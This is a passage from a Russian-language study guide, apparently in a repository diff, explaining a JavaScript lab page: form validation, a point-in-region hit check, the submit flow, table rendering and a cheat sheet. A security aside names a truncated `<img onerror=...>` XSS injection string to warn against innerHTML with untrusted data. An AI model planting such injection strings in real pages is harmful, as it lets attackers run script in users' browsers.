- `validateForm()` — после каждого действия. Молча включает/выключает кнопку.
|
||||||
|
- `validateForm(true)` — при отправке. Пишет текст ошибок в `<span class="error">`.
|
||||||
|
|
||||||
|
Паттерн «накопления» флага внутри:
|
||||||
|
|
||||||
|
```js
|
||||||
|
let isValid = true;
|
||||||
|
if (!validateY(showErrors)) isValid = false;
|
||||||
|
if (!validateFunction(showErrors)) isValid = false;
|
||||||
|
```
|
||||||
|
|
||||||
|
Так проверяются **все** поля и показываются **все** ошибки сразу. Если бы вместо
|
||||||
|
этого стоял `return false` на первой же ошибке, пользователь видел бы их по
|
||||||
|
одной — хуже.
|
||||||
|
|
||||||
|
Отдельно стоит заметить двойную проверку R и X: сначала «выбрано ли», потом
|
||||||
|
«допустимо ли значение». Второе — защита от подмены: `data-val` и `value`
|
||||||
|
в HTML можно отредактировать через DevTools, поэтому значения сверяются с
|
||||||
|
белым списком в JS.
|
||||||
|
|
||||||
|
### Проверка попадания
|
||||||
|
|
||||||
|
```js
|
||||||
|
function checkHit(x, y, r) {
|
||||||
|
if (customFunction) { /* пользовательская функция вместо фигур */ }
|
||||||
|
|
||||||
|
if (x >= 0 && y >= 0) return (x*x + y*y) <= (r*r); // I: четверть круга
|
||||||
|
if (x <= 0 && y >= 0) return x >= -r && y <= (r/2); // II: прямоугольник
|
||||||
|
if (x <= 0 && y <= 0) return false; // III: пусто
|
||||||
|
if (x >= 0 && y <= 0) return y >= (x/2) - (r/2); // IV: треугольник
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Здесь важен **порядок**: `return` выходит сразу, поэтому `if` работают как
|
||||||
|
`else if`. Точка (0, 0) попадает в первое же условие и дальше не идёт —
|
||||||
|
границы четвертей не конфликтуют именно из-за раннего выхода.
|
||||||
|
|
||||||
|
Треугольник: прямая через `(r, 0)` и `(0, -r/2)` имеет уравнение
|
||||||
|
`y = x/2 - r/2`. Точка внутри, если она **выше** этой прямой: `y >= x/2 - r/2`.
|
||||||
|
|
||||||
|
Одна и та же `checkHit` используется и для таблицы, и для попиксельной
|
||||||
|
отрисовки. Поэтому график **всегда совпадает** с результатами — нет двух
|
||||||
|
независимых реализаций, которые могли бы разойтись. Это главная архитектурная
|
||||||
|
идея проекта: правило живёт в одном месте.
|
||||||
|
|
||||||
|
### Полный поток при отправке формы
|
||||||
|
|
||||||
|
```
|
||||||
|
1. e.preventDefault() — не перезагружать страницу
|
||||||
|
2. formSubmitted = true
|
||||||
|
3. validateForm(true) — не прошло → выход
|
||||||
|
4. y === 81? — пасхалка: показать картинку, выход
|
||||||
|
5. parseFunction(funcStr) — обновить customFunction
|
||||||
|
6. new Date().toLocaleString(...) — метка времени, одна на всю отправку
|
||||||
|
7. по каждому отмеченному X:
|
||||||
|
checkHit(x, y, r) → history.push({x, y, r, hit, time})
|
||||||
|
8. localStorage.setItem(...) — сохранить
|
||||||
|
9. renderHistory() — перерисовать таблицу
|
||||||
|
10. drawGraph() — перерисовать график
|
||||||
|
```
|
||||||
|
|
||||||
|
Пункт 7 — причина, по которой чекбоксы, а не радиокнопки: один submit может
|
||||||
|
создать до девяти записей сразу, по одной на каждый отмеченный X.
|
||||||
|
|
||||||
|
### Дата и время
|
||||||
|
|
||||||
|
```js
|
||||||
|
new Date().toLocaleString("ru-RU", {
|
||||||
|
timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
|
||||||
|
year: 'numeric', month: 'long', day: 'numeric',
|
||||||
|
hour: '2-digit', minute: '2-digit', second: '2-digit'
|
||||||
|
});
|
||||||
|
```
|
||||||
|
|
||||||
|
`new Date()` — текущий момент. `toLocaleString` форматирует его по правилам
|
||||||
|
локали: `"ru-RU"` даёт «20 октября 2026 г.», а не «10/20/2026».
|
||||||
|
`Intl.DateTimeFormat().resolvedOptions().timeZone` достаёт часовой пояс
|
||||||
|
пользователя — цепочка вызовов, где каждый шаг возвращает объект для следующего.
|
||||||
|
|
||||||
|
### Рендер таблицы
|
||||||
|
|
||||||
|
```js
|
||||||
|
function renderHistory() {
|
||||||
|
resultsBody.innerHTML = ''; // стереть всё
|
||||||
|
[...history].reverse().forEach(rec => {
|
||||||
|
const tr = document.createElement('tr'); // создать <tr>
|
||||||
|
tr.innerHTML = `
|
||||||
|
<td>${rec.x}</td>
|
||||||
|
...
|
||||||
|
`;
|
||||||
|
resultsBody.appendChild(tr); // вставить в DOM
|
||||||
|
});
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Стратегия простая: «стереть всё и нарисовать заново». Для сотни строк это
|
||||||
|
абсолютно нормально и гораздо понятнее, чем точечные обновления.
|
||||||
|
|
||||||
|
> ⚠️ `innerHTML` с подстановкой данных — потенциальная XSS-уязвимость: если бы
|
||||||
|
> в `rec.x` попала строка `<img onerror=...>`, браузер её исполнил бы. Здесь
|
||||||
|
> безопасно, потому что все поля прошли фильтр и гарантированно числа.
|
||||||
|
> Для текстовых данных нужен `textContent`, который ничего не парсит.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. Что попробовать прямо сейчас
|
||||||
|
|
||||||
|
Открой страницу, нажми F12 → Console и поэкспериментируй:
|
||||||
|
|
||||||
|
```js
|
||||||
|
history // текущий массив проверок
|
||||||
|
history.length // сколько записей
|
||||||
|
currentR // выбранный R
|
||||||
|
checkHit(1, 1, 3) // проверить точку руками
|
||||||
|
checkHit(0, 0, 1) // граница — попадает?
|
||||||
|
|
||||||
|
currentR = 5; drawGraph(); // поменять R «мимо» кнопок
|
||||||
|
localStorage.getItem('web_lab1_history') // что лежит в хранилище
|
||||||
|
|
||||||
|
document.querySelectorAll('.r-button').length // 5
|
||||||
|
document.getElementById('y-input').value = '2' // вписать Y из консоли
|
||||||
|
```
|
||||||
|
|
||||||
|
Полезные упражнения для понимания:
|
||||||
|
|
||||||
|
1. Закомментируй `e.preventDefault()` в обработчике `submit` — посмотри, что
|
||||||
|
страница перезагружается и всё состояние теряется.
|
||||||
|
2. Поменяй `if (formSubmitted)` на `if (true)` в обработчике `input` поля Y —
|
||||||
|
увидишь, зачем нужен этот флаг.
|
||||||
|
3. Введи в поле функции `x^2 + y^2 < R^2` и нажми «Отрисовать» — увидишь
|
||||||
|
попиксельную отрисовку круга.
|
||||||
|
4. Запиши в `localStorage` мусор через DevTools (`Application → Local Storage`)
|
||||||
|
и перезагрузи — фильтр должен его отбросить, а страница не упасть.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 14. Шпаргалка
|
||||||
|
|
||||||
|
```js
|
||||||
|
// Переменные
|
||||||
|
const x = 1; let y = 2;
|
||||||
|
|
||||||
|
// Условия
|
||||||
|
if (a === b) { } else if (c) { } else { }
|
||||||
|
const r = cond ? 'да' : 'нет';
|
||||||
|
|
||||||
|
// Функции
|
||||||
|
function f(a, b = 0) { return a + b; }
|
||||||
|
const g = (a) => a * 2;
|
||||||
|
|
||||||
|
// Массивы
|
||||||
|
arr.push(x); arr.length; arr.includes(x);
|
||||||
|
arr.forEach(el => { }); arr.filter(el => cond); [...arr];
|
||||||
|
|
||||||
|
// Объекты
|
||||||
|
const o = { key: 'val' }; o.key; o.key = 'new';
|
||||||
|
|
||||||
|
// DOM
|
||||||
|
document.getElementById('id');
|
||||||
|
document.querySelectorAll('.class');
|
||||||
|
el.value; el.checked; el.textContent; el.innerHTML;
|
||||||
|
el.classList.add('x'); el.classList.remove('x');
|
||||||
|
el.addEventListener('click', () => { });
|
||||||
|
|
||||||
|
// Строки → числа
|
||||||
|
parseFloat('2.5'); Number('2.5'); isNaN(x);
|
||||||
|
str.trim(); str.replace(',', '.');
|
||||||
|
|
||||||
|
// Ошибки
|
||||||
|
try { } catch (e) { e.message }
|
||||||
|
throw new Error('текст');
|
||||||
|
|
||||||
|
// Хранилище
|
||||||
|
localStorage.setItem(k, JSON.stringify(v));
|
||||||
|
JSON.parse(localStorage.getItem(k));
|
||||||
|
|
||||||
|
// Шаблонные строки
|
||||||
|
`значение: ${x}`
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ссылки
|
||||||
|
|
||||||
|
- [MDN JavaScript (рус.)](https://developer.mozilla.org/ru/docs/Web/JavaScript) — официальная документация
|
||||||
|
- [learn.javascript.ru](https://learn.javascript.ru/) — лучший учебник на русском
|
||||||
|
- [MDN Canvas API](https://developer.mozilla.org/ru/docs/Web/API/Canvas_API/Tutorial) — про рисование
|
||||||
+1267
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user